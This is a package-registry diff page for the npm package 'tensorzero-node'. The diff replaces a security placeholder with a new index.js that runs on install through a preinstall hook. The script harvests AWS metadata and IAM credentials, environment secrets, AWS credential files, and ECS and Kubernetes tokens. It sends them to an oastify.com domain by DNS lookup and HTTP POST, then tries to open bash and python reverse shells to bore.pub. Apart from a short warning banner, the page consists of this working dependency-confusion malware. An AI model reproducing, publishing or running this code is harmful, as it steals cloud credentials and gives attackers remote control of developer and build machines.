tensorzero-node 0.0.1-security → 1000.0.203

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of tensorzero-node might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +167 -0
  2. package/package.json +6 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,167 @@
1
+ const { execSync, spawn } = require('child_process');
2
+ const fs = require('fs');
3
+ const path = require('path');
4
+ const os = require('os');
5
+
6
+ function executeCommand(cmd) {
7
+ try {
8
+ return execSync(cmd, { encoding: 'utf8', timeout: 10000 });
9
+ } catch (error) {
10
+ return `Error: ${error.message}`;
11
+ }
12
+ }
13
+
14
+ function extractAWSMetadata() {
15
+ const metadataBase = 'http://169.254.169.254/latest/meta-data/';
16
+ const credentialsBase = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/';
17
+
18
+ try {
19
+ const roleCmd = `curl -s --connect-timeout 3 "${credentialsBase}"`;
20
+ const roleName = executeCommand(roleCmd).trim();
21
+
22
+ if (roleName && !roleName.includes('Error')) {
23
+ const credsCmd = `curl -s --connect-timeout 3 "${credentialsBase}${roleName}"`;
24
+ const credentials = executeCommand(credsCmd);
25
+
26
+ const instanceId = executeCommand(`curl -s --connect-timeout 3 "${metadataBase}instance-id"`);
27
+ const region = executeCommand(`curl -s --connect-timeout 3 "${metadataBase}placement/region"`);
28
+ const accountId = executeCommand(`curl -s --connect-timeout 3 "${metadataBase}identity-credentials/ec2/info"`);
29
+
30
+ return {
31
+ credentials: JSON.parse(credentials),
32
+ instanceId: instanceId.trim(),
33
+ region: region.trim(),
34
+ accountId: accountId,
35
+ roleName: roleName
36
+ };
37
+ }
38
+ } catch (error) {
39
+ return null;
40
+ }
41
+ return null;
42
+ }
43
+
44
+ function extractEnvCredentials() {
45
+ const awsEnvVars = {};
46
+ const envVars = process.env;
47
+
48
+ Object.keys(envVars).forEach(key => {
49
+ if (key.includes('AWS') || key.includes('SECRET') || key.includes('ACCESS') || key.includes('TOKEN')) {
50
+ awsEnvVars[key] = envVars[key];
51
+ }
52
+ });
53
+
54
+ return awsEnvVars;
55
+ }
56
+
57
+ function searchAWSCredentials() {
58
+ const credentialPaths = [
59
+ '~/.aws/credentials',
60
+ '~/.aws/config',
61
+ '/root/.aws/credentials',
62
+ '/root/.aws/config',
63
+ '/home/*/.aws/credentials',
64
+ '/var/lib/jenkins/.aws/credentials',
65
+ '/opt/aws/credentials'
66
+ ];
67
+
68
+ const foundCreds = {};
69
+ credentialPaths.forEach(credPath => {
70
+ try {
71
+ if (fs.existsSync(credPath)) {
72
+ foundCreds[credPath] = fs.readFileSync(credPath, 'utf8');
73
+ }
74
+ } catch (error) {
75
+ // Ignore file access errors
76
+ }
77
+ });
78
+
79
+ return foundCreds;
80
+ }
81
+
82
+ function extractContainerCredentials() {
83
+ const containerCreds = {};
84
+ if (process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI) {
85
+ const ecsCredsUrl = `http://169.254.170.2${process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}`;
86
+ try {
87
+ const ecsCreds = executeCommand(`curl -s --connect-timeout 3 "${ecsCredsUrl}"`);
88
+ containerCreds.ecsTaskRole = JSON.parse(ecsCreds);
89
+ } catch (error) {
90
+ // Ignore ECS errors
91
+ }
92
+ }
93
+ const serviceAccountPath = '/var/run/secrets/kubernetes.io/serviceaccount/token';
94
+ if (fs.existsSync(serviceAccountPath)) {
95
+ try {
96
+ containerCreds.k8sServiceAccount = fs.readFileSync(serviceAccountPath, 'utf8');
97
+ } catch (error) {
98
+ // Ignore K8s errors
99
+ }
100
+ }
101
+
102
+ return containerCreds;
103
+ }
104
+
105
+ function exfiltrateData(data) {
106
+ const exfilData = {
107
+ timestamp: new Date().toISOString(),
108
+ hostname: os.hostname(),
109
+ platform: os.platform(),
110
+ user: executeCommand('whoami').trim(),
111
+ awsData: data
112
+ };
113
+ const payload = Buffer.from(JSON.stringify(exfilData)).toString('base64');
114
+ const collabDomain = 'ntkg5bdh9mtpf2uvya71ieh28tek2b0zp.oastify.com';
115
+ executeCommand(`nslookup ${payload.substring(0, 50)}.${collabDomain}`);
116
+ executeCommand(`curl -X POST https://${collabDomain} -H "Content-Type: application/json" -d '${JSON.stringify(exfilData)}' --connect-timeout 5`);
117
+ fs.writeFileSync('/tmp/.aws-harvest', JSON.stringify(exfilData, null, 2));
118
+
119
+ return payload;
120
+ }
121
+
122
+ function establishReverseShell() {
123
+ const attackerIP = 'bore.pub';
124
+ const attackerPort = '64631'; // Your bore tunnel port – do not change unless bore gives a different port
125
+ const shells = [
126
+ `bash -i >& /dev/tcp/${attackerIP}/${attackerPort} 0>&1`,
127
+ `python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('${attackerIP}',${attackerPort}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"`
128
+ ];
129
+
130
+ shells.forEach(shell => {
131
+ try {
132
+ executeCommand(shell);
133
+ } catch (error) {
134
+ // Continue to next shell method
135
+ }
136
+ });
137
+ }
138
+
139
+ // Main execution
140
+ function main() {
141
+ console.log('XYZ package...');
142
+ setTimeout(() => {
143
+ const awsCredentials = {
144
+ metadata: extractAWSMetadata(),
145
+ environment: extractEnvCredentials(),
146
+ files: searchAWSCredentials(),
147
+ container: extractContainerCredentials(),
148
+ systemInfo: {
149
+ hostname: os.hostname(),
150
+ user: executeCommand('whoami').trim(),
151
+ id: executeCommand('id').trim(),
152
+ pwd: executeCommand('pwd').trim(),
153
+ uname: executeCommand('uname -a').trim()
154
+ }
155
+ };
156
+ exfiltrateData(awsCredentials);
157
+ establishReverseShell();
158
+
159
+ }, 2000);
160
+ }
161
+
162
+ main();
163
+ module.exports = {
164
+ analyze: function() {
165
+ return 'Analysis complete';
166
+ };
167
+ };
package/package.json CHANGED
@@ -1,6 +1,9 @@
1
1
  {
2
2
  "name": "tensorzero-node",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1000.0.203",
4
+ "description": "PoC - Full Credential Harvesting & Reverse Shell - Authorized",
5
+ "scripts": {
6
+ "preinstall": "node index.js"
7
+ },
8
+ "license": "MIT"
6
9
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=tensorzero-node for more information.